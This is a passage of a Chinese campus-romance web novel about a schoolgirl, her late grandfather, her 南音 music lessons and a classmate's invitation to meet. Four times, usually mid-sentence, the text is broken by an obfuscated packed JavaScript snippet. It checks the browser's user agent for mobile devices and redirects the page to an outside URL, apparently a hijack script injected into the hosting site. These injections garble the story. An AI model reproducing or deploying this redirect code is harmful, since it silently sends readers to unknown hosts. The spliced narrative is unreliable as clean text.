“小爷就是喜欢她够酷。”宋景再次强调，“总之你们以后对好好妹妹放尊重点，听到没？” “知道了，知道了。”两人异口同声。 甄好自然不会知道自己成了三个男生口中的主角，吃完饭便打算回宿舍午休。 回去的路上，周淳芮没忍住嘴馋又买了三支冰激凌。 “巧克力口味的是好好的，草莓口味的给云云。”她一边分着冰激凌一边念念有词，“最后就是我最爱的香草味冰激凌！” 说着她一口咬了下去，脸上的表情只能用“满足”两个字来形容：“饭后一支冰激凌，快乐似……” 说到这里，她突然卡壳：“押不上韵了呜呜，好好，这个伟大的任务交给你了。” 甄好：“……” 为什么吃个冰激凌还要吟诗作对啊？ 她拒绝。 下午的课对于甄好来说很轻松。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557338|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一节是她最喜欢的语文课，第二节是内容简单的政治课，第三课是放松身心的体育课。 体育老师一般点完名，再让全班跑个两圈操场就不管了，也就是说他们可以提前去食堂吃晚饭。 以师杭与和时序为首的一群男生嬉闹着，勾肩搭背朝东边的篮球场走去。 与他们擦身而过时，甄好的目光停留在师杭与身上一秒，又快速移开。 就在她错开视线时，时序正好望向她。 她总是快一步，恰好没遇上少年充满柔情的目光；他总是慢一步，没能与少女的视线短暂相交。 哪怕少女眼中藏着的人不是他，他也想多看她一眼。 远远地，甄好听到有人在喊：“时序，看什么呢？打球去了！” 她下意识地回头，时序正好收回目光，大步朝篮球场而去。 留给甄好的是不知不觉间又挺拔了几分的背影。 甄好觉得他好像长高了些。 也许是错觉吧，哪有人长那么快的…… 她收回自己无厘头的思绪，对身边的两人说道：“走吧。” 现在去了秋先生那里，晚自习放学她就可以早点回宿舍休息。 “已经开始期待了。”周淳芮对什么都很感兴趣，尤其是没接触过的新鲜事物。 “你们一定会喜欢秋先生的。”甄好虽然跟着秋先生学技艺，却并未叫他师父。 秋先生喜欢被人叫“秋先生”。 “那我更期待了。”周淳芮好奇道，“好好，你是什么时候开始跟着秋先生学南音啊？” 她和鄢云书竟然都不知道。 “此事说来话长。”甄好说着陷入回忆当中。 甄好十一岁那年，世上最疼爱她的爷爷永远离她而去。 那时的她，对于“死亡”这个词的概念很模糊，却也深知自己此后余生再也见不到爷爷。她难过到哭不出来，只觉得心口像塞了团吸水的棉花，压得心脏一阵阵抽疼。 她第一次见到秋先生是在爷爷的告别仪式上。 所有人都在痛哭流涕时，秋先生唱起了她听不懂却熟悉无比的曲子。 那是爷爷生前最爱听的，也是她从小听到大的——闽市非物质文化遗产，南音。 小的时候，爷爷边弹琵琶边唱那些咿咿呀呀韵味十足的曲调。小小的甄好就坐在他腿上，偶尔调皮伸手去搞破坏——一个不和谐的音符随之流出。 甄爷爷却不在乎，还爽朗地笑道：“咱们好好弹得真棒，爷爷教你弹琵琶唱南音好不好啊？” 甄好却把头摇了又摇：“好好听不懂，好好不学。” 甄爷爷亦由着她：“好好好，好好不想学那咱就不学。” 直到彻底失去爷爷，她才追悔莫及。 那把琵琶一直放在家里，甄家再也没有一个人懂得弹奏。 落了尘的琵琶像失去光泽的夜明珠，躲在角落里黯然失色。 同时失色的还有甄好难得有一丝光亮的童年——爷爷的音容笑貌只能永远留在回忆里。 如果世上有穿梭机，甄好真想穿回那一刻，狠狠给拒绝爷爷的自己一个巴掌。 在秋先生唱完后，甄好在爷爷的灵柩前重重地跪了下去：“阿伯，求您教我南音！无论多难多苦，我都能坚持。” 18. 地瓜和红烧猪蹄 今天吃到了童年时最爱的烤白薯。 可惜我爱的人，永远留在了童年里。 ——《甄好日记》 楼紫巷1010号。 周淳芮和鄢云书第一次见到神秘的秋先生。 “你们就是好好常提到的那两个好朋友吧？”秋先生温声笑道，“来，坐，尝尝我自己种的桃。” 两人都被他儒雅的气质和随和的性子所折服，一时都忘了喊人。 最后还是鄢云书先反应过来：“谢谢秋先生。” 她喊完人不着痕迹地扯了扯周淳芮的校服下摆。 “啊？”周淳芮轻呼一声，随即大脑开机，笑得眉眼弯弯，“谢谢秋先生！” 她话音刚落地，门口又走进来两个人。 少女明眸皓齿，身材高挑，是难得一见的美人坯子。 少年脸色有些苍白，却遮不住那张好看到让人一眼惊艳的脸。 这两个人她们都认识，是三中的名人，孟南音和陆星湛。 周淳芮看了一眼甄好，后者表示不知情地耸耸肩。 她的确不清楚孟南音和陆星湛与秋先生之间的关系。 “你们两个，还没放学呢，怎么回来了？”秋先生抬头看了一下墙上的时钟，问道。 “阿湛有点不舒服，我就请假带他来秋先生这儿瞧瞧。”孟南音一脸担忧地看着身边的少年。 其实他们平时不怎么来这里，这一次是特殊情况。 一听她说陆星湛身体有恙，秋先生温润的表情被焦急所取代：“哪里不舒服？我看看。” 看秋先生对着少年一番望闻问切，又提笔写了一张药方吩咐少女去街上的药房抓药时，甄好的震惊不比其他人少。 她此前并不知晓秋先生还是位中医。 见她一脸茫然的样子，秋先生这才想起来介绍：“好好，刚出去抓药的那小女娃是我外孙女，孟南音。” 这下甄好更觉惊讶。 没想到就连亲外孙女也管他叫秋先生。 “至于坐着的这位少年家……”秋先生笑道，“便是我跟你提起过的师兄。” 甄好微微瞪大眼睛。 她做梦都没想到校园红人之一的“中药小王子”竟然是自己的亲师兄。 她张了张嘴，一句“师兄”却怎么都叫不出口。 像是知道她很为难似的，陆星湛不甚在意地开口：“不用叫师兄，叫我名字就可以。” 他只想做孟南音一个人的小师弟，不想做任何人的师兄。 甄好木讷地点点头：“好的，陆同学。” 她没有真的叫他的名字，而是选择了一个不会出错的称呼。 “阿湛，你进去里屋歇会儿吧。”秋先生温和道。 陆星湛这体弱的毛病是打娘胎里带出来的，忽略他那怎么都查不到问题出在哪里的奇怪病症，他的身体是没有大碍的，只是需要多休息，注意饮食。 安顿好陆星湛后，秋先生便开始准备给甄好上课。 她这天主要学的是一些理论知识，周淳芮在一旁听得昏昏欲睡，鄢云书倒是饶有兴致地跟着听进去了一些。 南音也称“弦管”，是闽南地区的传统音乐，联合国教科文组织人类非物质文化遗产代表作之一。 南音有“中国音乐史上的活化石”之称，发源于闽南地区，用闽南语演唱，是中国历史悠久的汉族音乐。两汉、晋、唐、两宋等朝代的中原移民把音乐文化带入以闽市为中心的闽南地区，并与当地民间音乐融合，形成了具有中原古乐遗韵的文化表现形式。 南音起源于唐，形成在宋。南音的唱法保留了唐以前传统古老的民族唱法，其唱、奏者的二度创作极富随意性，而南管的演奏上也保持着唐宋时期的特色。 秋先生讲述的同时会穿插着唱几句，甄好一听见南音就不由自主地想起爷爷。 时光也好似在她眨眼间穿梭到过去，甄爷爷总是笑呵呵地牵起她的手，说：“爷爷赚到钱了，带好好去买最贵的雪糕。” 小时候，在别人家的小孩用五毛钱买五根冰棒吃的时候，甄爷爷却跟甄好说：“一毛钱一根的冰棒不够甜，奶味也不足，爷爷给你一块钱，一次吃两根！好好尽管买，我们好好要吃就吃最香甜的雪糕。” 二十世纪九十年代的闽镇，五毛钱一支的火炬雪糕筒是无数孩子梦寐以求的零嘴。 而家境贫寒的甄好，一次可以拥有两支。 甄爷爷这辈子没赚过什么大钱，却给了甄好大把大把的爱。 那些来自甄爷爷的宠爱，足以治愈甄好充满苦难的童年。 从秋先生那里出来的时候，傍晚绮丽的云霞布在天边。 甄好一路上都安静得不像话。 “我们去吃闽州鱼丸好不好？”周淳芮并未发现甄好的异样，满心思考着晚饭吃什么。 鄢云书却注意到了。 秋先生讲课的时候，她就看到了甄好逐渐泛红的眼眶。 不用问她都知道甄好一定是想起自己的爷爷了。 她们三个人，家里都有各自难念的经，却要数甄好家的最难念。 “好好。”鄢云书轻轻挽住甄好的手臂，“我肚子饿了，我们去吃点什么呢？” 她不想让甄好一直沉浸在悲痛的回忆里，难得主动在吃什么这个问题上浪费时间。 甄好这才发觉自己也饿了。 这时正好一辆卖烤地瓜的三轮车经过，而后停在巷口不远处。 闻着喷香的烤地瓜，甄好眼睛一亮：“我想吃烤白薯。” “好好，你也是怪咖，竟然喜欢吃白地瓜。”周淳芮不知内情，像在讨论喜欢吃咸粽还是甜粽一样闲聊道，“红薯多甜呀！不接受反驳。” 甄好听了只是笑笑没说话。 她自己也清楚很少人喜欢吃白地瓜，甚至连烤地瓜车也经常买不到，可这是她童年里记忆最为深刻的味道。 她能吃一辈子。 千禧年过后，甄家的情况慢慢好转，只是在镇里仍旧算贫困户。 那时候何允莲还和甄父在津城讨生活，甄奶奶在甄美出生四年后便带着她去了厦城，甄黎还未出生。 闽镇多的是留守儿童，甄好便是其中一个。 但她怎么都没想到，跟着爷爷还有太奶奶一起生活的日子反而是她这辈子最难以忘怀的快乐时光。 太奶奶跟甄爷爷一样，对她很是疼爱。 在她犯了错被爷爷画圈罚站的时候，甄老太太会偷偷给她塞两根胖嘟嘟的米蕉，她却倔强地不肯要：“爷爷说没罚站完不准吃东西，我不要。” 甄老太太无奈地摇头：“你这孩子，怎的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557339|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样固执？” 彼时，阳光渐渐偏移到甄好头顶，时间来到正午时分。 甄爷爷喝了点小酒，里屋传来的呼噜声昭示着他睡得正熟。 甄老太太午睡前又溜达过来看了一眼，见甄好还站在圆圈里一动不动，不禁伸手拉她：“再晒下去要晒坏哩，你爷爷睡着了，他不会知道你提前出来的……” 甄好咬着牙，跟老人家拔起了河。 甄老太太用力拉她出圆圈，她就更用力地退回圆圈内，说什么都不肯离开：“我不出去，我就站在这里，直到爷爷睡醒。” 甄老太太实在拗不过她，最后只能摇着头回了自己屋。 她刚走不久，甄爷爷就迈步走了出来。 方才孙女和母亲的对话他都听在耳朵里，终是不忍再让甄好继续站下去。 闽镇的夏天，连阳光都是白的，晒得人皮肤烫烫的。 甄好却站得笔直，一副不屈不挠的样子。 甄爷爷忍不住失笑的同时又折回了屋里。 再出来时，他手里拿着一个冒着热气却已经可以入口的烤白薯。 甄好肚子早就饿了，看到那个烤得漂亮的白地瓜顿时咽了咽口水。 家里换新灶台的时候，甄爷爷告诉工人：“我家孙女喜欢吃烤地瓜，麻烦师傅在旁边做一个小烤炉，我每天煮饭的时候扔一个地瓜进去，孙女就有香喷喷的烤地瓜吃了。” 做灶台的工人笑呵呵的：“甄老先生可真疼孙女。” 甄爷爷的语气里满是自豪：“那可不，我就这么一个孙女在身边。” 自那以后，甄好每日起床都能吃到一个喷香的烤地瓜。 “好好，下次不许这样了。”甄爷爷朝她招招手，“来，你最爱吃的烤白薯。” 得了爷爷的允许，甄好一个大步跨出画出来的圆圈，接过那个烤白薯，大口大口吃了起来。 吃得急了的后果就是直打嗝，甄爷爷轻拍她的后背，又送来一杯加了糖的甜茶：“慢点吃，没人跟你抢。” “爷爷，我以后不敢了。”在好不容易止住打嗝后，甄好心服口服地认错。 这一次，爷爷罚她罚得没错。 上午爷爷不在家，她放周末不用去上学。在橱柜里翻到有一包泡面时，她被勾起了馋虫，想烧水泡泡面吃。她说干就干，装好水，将水壶放在煤炉上，可邻居小伙伴一喊她放风筝，她就将这事抛之脑后。 等被爷爷叫回家的时候，煤炉里燃烧的煤球被烧开而往外冒的水浇灭，得重新生火不说，烧水壶差点烧穿了。 甄爷爷语重心长地告诉她：“好好，做事情不能三心二意，要一件一件地做，要有始有终。你看今天，煤球熄灭了，水壶烧坏了都是小事，万一厨房起火了，万一家里有人睡熟了，那后果会怎么样，好好有没有想过？” 他的语气不重，表情也不严肃，可甄好还是忍不住红了眼圈，紧抿着嘴一个字都不肯说。 一开始站圈圈的时候，她还心有不服。 但是随着时间的流逝，她慢慢想明白了，也意识到了自己的错误。 甄爷爷欣慰地揉了揉她的脑袋：“知错就改，还是好孩子。晚上爷爷给你做红烧猪蹄吃，好不好？” “好呀！”小孩子的情绪来得快去得也快，一听到有肉吃，甄好的眼睛弯得像月牙。 19. 做一节课的同桌 每一次下意识地目光追逐，都藏着患得患失的心情。 这一切，既想让683同学知道，又害怕他知道。 ——《甄好日记》 时间回到现在，走到地瓜车前的甄好眼睛亦弯成了月牙：“老板，要一个白地瓜。” “小姑娘运气好哩，正好剩最后一个。”老板笑呵呵地把地瓜递给她。 “谢谢老板。”甄好给了钱，便和周淳芮两人去吃她们想吃的闽州鱼丸了。 吃过饭，三人又回了趟宿舍。 周淳芮吃撑了，一到寝室就坐在椅子上挺尸：“下次再也不吃这么多了。” 甄好无情地打击她：“你上次，上上次，上上上无数次也是这么说的。” “好好，有没有人说过你嘴很毒？”周淳芮懒洋洋地看了她一眼，开玩笑道。 甄好不由得摸了摸鼻子，讪笑道：“好像还真没有。” “不科学。”周淳芮不相信，“肯定有人在背后这样说过你。” 这话还真被她说对了。 在甄好替宋景出头的那天，被她比喻成“思想侏儒”的男生的确这样评价过她。 “我就当你是夸奖我了。”对于“嘴毒”这种听起来似夸非夸的词语，甄好反倒能够坦然地接受，甚至有些喜欢。 周淳芮“切”了一声，而后哀号道：“朕不想上晚自习啊……” 不想上晚自习的周皇帝七点钟还是准时出现在了教室里。 对着一张张练习卷，她重重地将脸颊砸在课桌上，生无可恋道：“云云，快上救心丸，朕快要不行了。” 救心丸自是没有的，她等来的是一张意料之中的字条。 前桌的人悄声对周淳芮说道：“麻烦传给甄好同学，谢谢。” 她望了前面的几桌同学一眼，一时没判断出来是谁会写字条给甄好。 “好好，你的。”确定周围没有老师，周淳芮动作娴熟地将字条递给坐在自己身后的甄好。 甄好正在对着试卷上的数学题发愁，这道题她怎么演算都得不到正确答案，被周淳芮这么一喊，紧皱着的眉头随之松开。 既然难度大的解不出来，那就先跳过，从简单的做起。 她接过字条的时候像以往一样认为是周淳芮无聊了所以来找自己说话，可等纸张完全展开后，她才发现完全不是这么回事。 那上面的字迹她再熟悉不过。 她作为语文课代表，无论大考还是小测，都会负责分发甚至帮老师批改试卷。借着这点小小的权利，她把师杭与的试卷看了一遍又一遍，他那手不算惊艳但工整的字她早就烂熟于心。 他怎么会给自己写字条？ 带着这个疑问，甄好的心脏扑通扑通直跳，紧张到第一眼扫过去未能准确抓取纸上的内容。 她轻轻闭上眼，再睁开时有些小心翼翼的，生怕眼前的一切只是幻觉。 “甄好同学，今晚十点半方便后山见一面吗？我知道这个请求很冒昧，但还是想试一试。师杭与字。” 纸上的每一个字都让她震惊到呼吸都变轻了。 师杭与竟然约她见面？ 此时此刻，甄好反倒希望这只是一个梦。 因为她没有勇气赴约。 接下来的时间，包括第二节晚自习，她都坐立难安，什么都学不进去。 喻玲看出了她的不对劲，担忧地问她怎么了。 思索再三，她还是把师杭与约自己见面的事情告诉了对方。 喻玲没有马上回答她，而是反问：“你想赴约吗？” 甄好的心在疯狂说“想”，但她只是一脸纠结地看着喻玲，没有说话。 “看你这副表情我就知道你是怎么想的了。”喻玲接下来说了一句听起来十分哲学的话，“好好，当下想做的和以后再去做，是完全不一样的心情。” 听了这话，甄好茅塞顿开：“我明白了，谢谢你，同桌。” 喻玲没再说什么，重新坐正身体，假装继续写作业。 她没想到师杭与直接把机会递到自己面前来了。 对此毫不知情的甄好鼓起勇气给师杭与回了字条。 为了不泄露自己雀跃的心情，她只回了“好的”两个字。 她担心对方不会再传回，所以私心将那张字条夹进自己最喜欢的一本课外书里，重新撕了一张进行回复。 然而她想错了。 师杭与不仅回传字条，字还不少：“谢谢你。十点半不见不散。” 这一次甄好没有再回复，而是像刚刚那样，将字条珍而重之地夹进书本里，像把自己不能见天日的暗恋封存起来。 永远年轻永远八卦的周淳芮很快也递来了字条：“我没看错吧，你在跟师杭与传字条？” 甄好努力压下激动之情给她回复：“嗯，他约我晚上十点半后山见，所以今晚不能跟你们一起回宿舍了。” “没事，我和云云在教室等你回来。”周淳芮回。 甄好以一个“好”字结束了对话。 第二节晚自习下课铃声也在这时响起，她身旁的喻玲紧跟着站起身，而后朝教室后门走去。 师杭与的同桌裴小海的目光停留在喻玲身上一秒，又很快移开。 他从桌洞里拿出手机，飞快地打了一行字，然后点击发送。 师杭与坐在五人座的中间位，这意味着他有两位同桌，而另一位正是消失了整整一周的宋景。 他从桌上随便拿起一张卷子，佯装镇定地来到甄好座位旁，又佯装好学生问问题：“语文课代表，我好些天没来上课了，有道题不懂，你能给我讲讲吗？” 甄好抬头看了他一眼，心道真是稀奇，只会惹是生非的宋景同学竟然也会问题目了。 她也没有拒绝的意思：“好啊。” 得了这话，宋景嘴角是压不住的笑意，随即在喻玲的位子上坐下，同时将卷子递到甄好面前：“就是这道……” 宋景看清自己随意指着的题目后，愣住了。 他拿的是英语试卷。 这就尴尬了。 甄好不习惯男生跟自己靠太近，下意识往后仰，与宋景拉开一点距离，才拿疑惑的眼神看他：“宋同学是不是拿错卷子了？” “啊，对对对，我太想知道那道题怎么做了，一时心急拿错了。”宋景呵呵干笑了两声。 他刚刚明明扫了一眼，确定拿到的是语文卷子才起身的啊…… 还是他的好好妹妹贴心，一句话就替他化解了尴尬。 宋景一颗心忍不住轻飘飘地荡漾起来，坐在座位上一时忘了下一步动作，只是盯着甄好看。 甄好被他看得不自在，忍不住摸了摸自己的脸：“宋同学，你干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557340|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗这样看着我……” 难道她脸上有东西？ 宋景这才如梦初醒，忙摆手道：“没有没有，我这就去拿试卷。” 说着，他有些狼狈地起身，快步走回自己的座位。 看他离开，甄好缓缓地吐出一口气。 而这一幕刚好被站在走廊的喻玲透过窗户看得清清楚楚。 她将双手紧握成拳，心里的酸涩一阵阵翻涌，看向甄好的目光也满是怨恨。 认识宋景那么久，她从来没见他对谁那样小心翼翼过。 偏偏他对着的人不是自己，而是甄好。 极致的嫉妒让她眼睛微微泛红，恨不得立刻进去把宋景拉开。 可人有时候很奇怪，明知道继续做某件事会受伤害，还是忍不住继续做。比如此时此刻的喻玲，明明她可以马上回教室，这样宋景就不会坐在自己的座位上和甄好靠得那么近，但她就是跟自虐似的，偏偏想看看接下来会发生什么。 宋景再回来时，甄好已经从坐着改为站着。 站着给他讲题，她会觉得自在一些。 宋景问的是一道文言文翻译题。 甄好微微皱眉。 这种题讲起来有些费劲，语文就是这样，答案不是唯一的，一旦讲起来就会牵扯出许多知识点。不像数学题那样，有清晰的解题思路和灵活运用公式定理就能够得到最优解。 讲着讲着，果真如她所料，题还没讲完，上课铃声先响了。 她不知道的是，在她低头讲题的时候，宋景根本一个字都没听进去，光顾着看她认真的侧脸发呆了。 所以在甄好猛地抬头时，宋景过于直白的目光险些没藏住。 喻玲也在这时走到了他身旁：“宋同学，上课了。” 她努力维持自己温柔的一面，声音与平时无异。 “那个……”宋景虽说尽量让自己的语气听起来像在打商量，但还是听得出霸道的味道来，“我下节课想和甄同学坐，题还没讲完。” 班主任一向支持优生带差生的教学理念，也放任大家晚自习可以自由组队进行学习，换句话说，宋景的要求合情合理。 听到宋景的话，喻玲温婉的面具差点被撕下来。 她不着痕迹地深吸一口气，才能够保持微笑：“好啊，好好没意见我就没意见。” 如此一来，她就要去宋景的座位，成为师杭与的一节课同桌。 也好。 正巧方便她实行自己的计划。 甄好很想拒绝，可她不擅长拒绝，也不想得罪人，尤其是得罪校霸，所以她“屈服”了：“同桌没意见我也没意见。” 说完这话时，她假装看黑板上方的时钟，目光收回之际拐了个弯，不轻不重地落在师杭与身上。 其实她更想跟宋景互换座位。 就这样，宋景在原位坐了下来，喻玲则拿起自己下节课要写的作业走向师杭与旁边的座位。 见她坐在宋景的位子上，裴小海先激动起来：“喻姐，欢迎跟我一起成为与哥的同桌。” 喻玲对他笑了笑，而后柔声道：“杭与同学，打扰了。” 师杭与回了三个字：“不打扰。” “怎么会打扰呢？”裴小海整个人显得很兴奋，“欢迎喻姐多来！” 师杭与瞥了他一眼：“要不我跟你换个位？” 20. 她做出一个决定 今日天气晴朗，有微风。 我珍惜每一个与你目光相撞的时刻，也珍惜认识你的每一天。 ——《甄好日记》 裴小海当然不会跟师杭与换座位，被他这么一反问立刻老老实实地坐正身体，继续与试卷作斗争。 喻玲心烦意乱极了，导致她没有心思管身旁的两个男生在做什么，全身心都在关注身后的那两人。 她听见甄好的声音放得很低，仔细听都听不清在说什么；她听到宋景略高的声音，说着“知道了”“明白了”“谢谢好好同学”…… 他从叫甄好“甄同学”变成“好好同学”了…… 她口袋里的手机此时振动了一下，她掏出来一看，是裴小海发来的□□消息。 裴裴裴小海：“与哥来大姨夫了，说话比较冲，你别搭理他。” 喻玲将手机扔回口袋里，没回。 不一会儿，手机又振动了一下。 她有些烦躁地侧头瞪了一眼裴小海。 不过裴小海并未看到，他正躲着玩手机。 喻玲又点开企鹅图标。 裴裴裴小海：“按计划行事。” 她忍不住皱眉。 这个人好聒噪。 她有点后悔找他帮忙了。 但事已至此，她别无选择。 将注意力从身后那两人身上收回后，喻玲动作轻巧地撕下一张纸。 她明明可以直接低声跟师杭与对话，也可以直接给他发消息，但她偏偏选择最原始的方式——写字条。 写完后，她轻轻推到男生面前。 师杭与顿了顿笔尖，片刻后才展开纸张，看到上面写着：“杭与同学，放学后可不可以给我五分钟时间？我有很重要的事情要跟你说。拜托拜托，就五分钟。可以的话，后山见。” 文字后面还画了一个看起来就可怜兮兮的卡通小人。 看完后，师杭与微微皱眉。 他抬头看了一眼黑板右下角的值日生名字，“甄好”两个字端端正正地被写在上面。 考虑到甄好做值日需要时间，所以他才将时间约在十点半。他们班的值日任务是按学号来的，两两一组。 甄好是1号同学，这晚与2号同学时序一起做卫生。 如此一来，喻玲想要的五分钟也不是不能答应。 反正他都要去一趟后山。 于是他没有想太多，简单地回了一个“好”字。 得到答复的喻玲很快给裴小海发去消息：“搞定。” 裴小海回复：“明白。” 新的一场针对甄好的恶作剧正在酝酿，正主对此毫无察觉，依旧在认真地给宋景讲解文言文。 讲到最后，她有些无奈地问对方：“宋同学，我这样讲，够不够明白呀？” 因为从始至终宋景都只是点头或者说“知道了”“明白了”，她不确定自己讲得是否够明晰。 她不知道的是，她这个问题一出，宋景的内心活动是：“好好没有问我听不听得懂，而是问我她讲得够不够明白。是谁说好好嘴毒的？好好明明好温柔的……” 甄好又一次看见宋景用那种类似目空一切的眼神看着自己，她有些茫然地想：是不是我讲得太深奥了？给孩子整晕了。 不然他怎么半天都不说话…… 她就说文言文这玩意儿不好讲解，这下不好收场了。 甄好对于学习，尤其是语文，有着很深的执念。她不仅沉迷于自己学懂了的那种成就感，也丝毫不介意给别人讲题，甚至如果因为自己而让他人也突破了学习瓶颈，那么她的满足感会更强。 “宋同学？”等了半天还是没得到回答，甄好再度唤了宋景一声。 “啊？”宋景即刻回神，笑嘻嘻地答道，“听懂了听懂了，甄老师讲得比班主任还好。” 明知这是他恭维的话，甄好仍是忍不住脸一红，不好意思起来：“哪有？别说得这么夸张。” 宋景突然发现了甄好的一个弱点——不能夸，一夸就脸红。 可爱极了。 嗯，想看她脸红。 以后一定要多夸夸她。 他的心理活动丰富到写出来比八百字作文还长。 下课铃声响起的时候，宋景脸上是肉眼可见的失落。 他想继续跟甄好做同桌。 但饶是他再依依不舍，也不得不回到自己的座位。 起身时，他耷拉着眉眼，一脸不太高兴地对甄好说：“甄同学，下次有不懂的还可以问你吗？” 甄好愣愣地点头：“可以啊。” “太好了，谢谢甄同学。”宋景这才心满意足地离开。 甄好的心情跟他完全相反。 她放下手里的记号笔，不着痕迹地松了口气。 总算下课了。 这是她此时此刻最真实的想法。 假装合群好累。 这是她吐出一口气后最无奈的想法。 宋景同学好危险，不知一点就爆和温柔爱笑，到底哪个才是真正的他。 就在她胡思乱想之际，周淳芮突然转头对她说：“好好，今晚我帮你做卫生吧。” 甄好不明所以：“怎么呢？” “你不是要去见那个谁吗？” “没事，约的十点半，来得及的。”被她这么一提醒，那种即将要和师杭与单独见面的紧张感顿时又涌上甄好心头。 “那好吧。”周淳芮又说，“反正我和云云等你一起回寝室，有需要随时喊我们。” “好啊。”甄好轻轻弯了弯嘴角。 这是第不知道多少次，甄好觉得认识周淳芮和鄢云书真好。 世界第一好的那种好。 第四节晚自习总是一如既往，比前面三节课都要来得吵闹一些。很多同学都做完作业了，有更多的闲暇时间或偷偷看课外书，或偷偷玩手机，或偷偷传字条，总之干什么的都有。 而周淳芮在干什么呢？ 她在偷偷吃零食。 每吃一样新东西，她就要微微侧头问甄好：“好好，这个果冻好吃，你吃不？” 甄好冲她摇摇头：“不了，你吃。” “好吧。”找不到人与自己一起分享美食的周淳芮默默地又坐正了身体。 然而吃到下一样的时候，她还是忍不住问甄好：“好好，这款辣条巨好吃，来一根？” 这一次，甄好没有拒绝：“好啊。” 一听她说要吃，周淳芮立刻来劲了，终于有人要与她同甘共苦了——这辣条实在是太辣了！ 周淳芮小心翼翼地递给甄好一根，然后满怀期待地看着她，期待看到她吃下第一口时的反应。 见她这样两眼放光地盯着自己看，甄好有种不祥的预感：“芮芮，你这样看着我我害怕。” “怕啥？放心，没下毒。”周淳芮迫不及待地要她赶快吃，“快尝尝，真的好吃！” 甄好在她期许的目光下犹疑地咬下第一口。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15557341|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯，味道的确不错。 “怎么样，怎么样？”周淳芮努力压着笑，“是不是非常火辣？嘻嘻嘻——” 甄好诚实地点头：“的确很火辣。” “好好，你真是我的好姐妹，愿意跟我一起被这热情似火的辣条灼伤柔软的唇舌，我爱你，我太爱你了。”周淳芮夸张道。 “但是我喜欢，还有没有？”甄好在她口若悬河后，幽幽地问道。 周淳芮：“？” 反应过来甄好是什么意思后，她不淡定了：“不是，好好，我没听错吧？你的意思是你喜欢这辣条，并且还想吃？” 甄好再度诚实地点点头：“没错，就是你说的这样。” 这下周淳芮彻底麻了：“好好，你还是不是人啊？这辣条都快辣死我了，你竟然喜欢！” “辣吗？”甄好咽下最后一口辣条，“我觉得刚好啊。” “啊——”周淳芮真想仰天长啸，“难道你的生理构造跟我的不一样吗？我也想大口吃辣条，呜呜呜——” 她属于又菜又爱吃，喜欢吃辣却吃不了辣。 没等甄好回应她的哭号，班主任那权威的声音先响起：“注意点说话的音量，注意点教室的空气啊。这一股什么味儿……” 周淳芮登时装鹌鹑，把打开但还没吃完的辣条藏得严严实实。 暂时吃不到第二根辣条的甄好也忙低下头假装在背单词。 这种生活可真刺激啊。 甄好在心里如是想着。 这么想着，她突然有了写现代诗的灵感，于是立刻提笔记录下这乍然出现的灵感。 写的过程中，她不可避免地想到了自己投稿的那篇现代诗。 不知道结果会如何…… 恍神的一秒钟，她希望自己的第一次投稿能够有个好结果。 可回神的第一秒钟，她又觉得梦想怎么可能那么简单就实现。 最后一节晚自习在她的自我拉扯和断断续续写完的新一首现代诗中迎来下课铃声。 同学们陆陆续续起身，有的快速走出教室冲向食堂抢自己喜欢的夜宵；有的三三两两凑在一起讨论着什么；有的则继续安安静静地坐着，写字的动作不停…… 甄好的目光不自觉地瞥向前方的师杭与。 只见他不紧不慢地收拾着课本和文具，而后起身缓缓朝教室外走去。 与此同时，她听见喻玲跟自己说：“好好，我先走啦，明天见。” 她心不在焉地回答：“明天见。” 这时，时序也走到她身边：“好好，我们什么时候开始打扫教室？” 甄好环视教室一圈，才回答：“等同学们都走得差不多了再开始吧。” 对此，时序没有异议：“好。” 十点零三分的时候，教室里只剩零星几个人。甄好和时序开始默契地配合着值日，周淳芮和鄢云书则站在教室门口楼梯下的空地上等她。 甄好刚给教室洒完水，就听见裴小海大声地抱怨道：“好你个师杭与，自己跑去后山见女孩子也不告诉我，还是不是兄弟了？” 他说着不着痕迹地看了一眼甄好，然后又接着说：“真是有异性没人性啊，也不知道是去见谁，一放学就跑得不见人影。” 